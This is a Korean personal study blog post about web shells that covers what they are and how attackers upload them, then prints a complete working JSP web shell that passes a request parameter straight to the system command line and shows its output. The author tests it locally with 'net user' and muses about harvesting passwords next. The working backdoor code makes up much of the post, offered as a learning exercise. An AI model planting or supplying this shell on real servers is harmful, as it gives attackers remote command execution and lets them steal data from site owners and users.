웹 쉘 Web shell

Munang·2021년 7월 27일
1

Security

목록 보기
2/2

Web shell

  1. 웹쉘이란?
    웹쉘은 공격자가 원격에서 웹서버에 명령을 수행하도록 올린 스크립트 파일이다. 웹서버의 피해 공격 중 90% 가량이 웹쉘이 발견된다.
    웹쉘을 통해 관리자 권한을 획득 후 웹 페이지의 소스코드를 열람하거나, 서버 내의 자료를 유출, 백도어 프로그램 설치 등의 다양한 공격이 가능하다. 아무래도 시스템을 통제하는 것이 수월해지다 보니 사용빈도가 높다는 것을 확인할 수 있다.

  2. 침투 경로
    파일 업로드, 이미지 업로드, HTTP PUT 취약점, 기타 XSS, SQL injection등을 통해 웹서버로 침투 후, 이후 웹쉘로 침투를 하는 것이 대부분이다.
    또한, 웹 취약점으로 서버에 침투 후 방화벽에서 접근을 허용하는 HTTP(80) 서비스를 통해 피해 시스템을 제어하게 되어 웹쉘을 차단하기가 쉽지 않다. 그리고 확인이 되어도 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신으로는 탐지하기 쉽지 않다.

  3. 실습
    웹쉘 소스코드
    jsp 파일을 사용했고, 깃허브의 오픈소스코드를 활용했다.

    <%@ page import="java.util.*,java.io.*"%>
    <%@ page language="java" contentType="text/html; charset=UTF-8"
            pageEncoding="UTF-8"%>
    <!DOCTYPE html>
    <html>
    <head>
     <meta charset="UTF-8">
     <title>Insert title here</title>
    </head>
    <body>
    <form method="GET" name="cmdForm" action="">
     <input type="text" name="cmd">
     <input type="submit" value="전송">
    </form>
    <pre>
    <%
     if (request.getParameter("cmd") != null)
     {
       System.out.println("명령어 : " + request.getParameter("cmd") + "<br>");
    
       Process p;
    
       if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
         p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    
       else
         p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    
       InputStreamReader in = new InputStreamReader(p.getInputStream(),"euc-kr");
       BufferedReader br = new BufferedReader(in);
    
       String disr = br.readLine();
    
       while ( disr != null )
       {
         System.out.println(disr);
         disr = br.readLine();
       }
     }
    %>
    </pre>
    </body>
    </html>

이 소스코드를 인텔리 제이에서 실행시키면 다음과 같은 화면이 나온다.

여기에 원하는 윈도우 명령어를 삽입시키면, 다음과 같이 명령어의 결과를 확인할 수 있다.

net user명령어를 날려봤다. 이렇게 되면, 내 컴퓨터에 저장된 사용자 내용이 다 확인된다. 이런식으로 사용자 비밀번호도 캐낼 수 있을 것 같다.

  1. 중요한건, 어디서 어떻게 이 웹쉘을 띄우느냐..?

SQL인젝션으로 인한 웹쉘 업로드가 난이도가 조금있어보인다. 이부분을 실습해보기로 했다. 소스코드를 알아봤는데, DVWA 소스코드가 유명해 보였다. 암튼 다음포스팅에서 해봐야겠다. 오늘은 웹 쉘을 알아보았다.
기존에 ES를 위해 Centos7로 구성해놓은 가상머신에서 진행해본다.
(ES도 얼른 공부해서 포스팅 해야지..)

0개의 댓글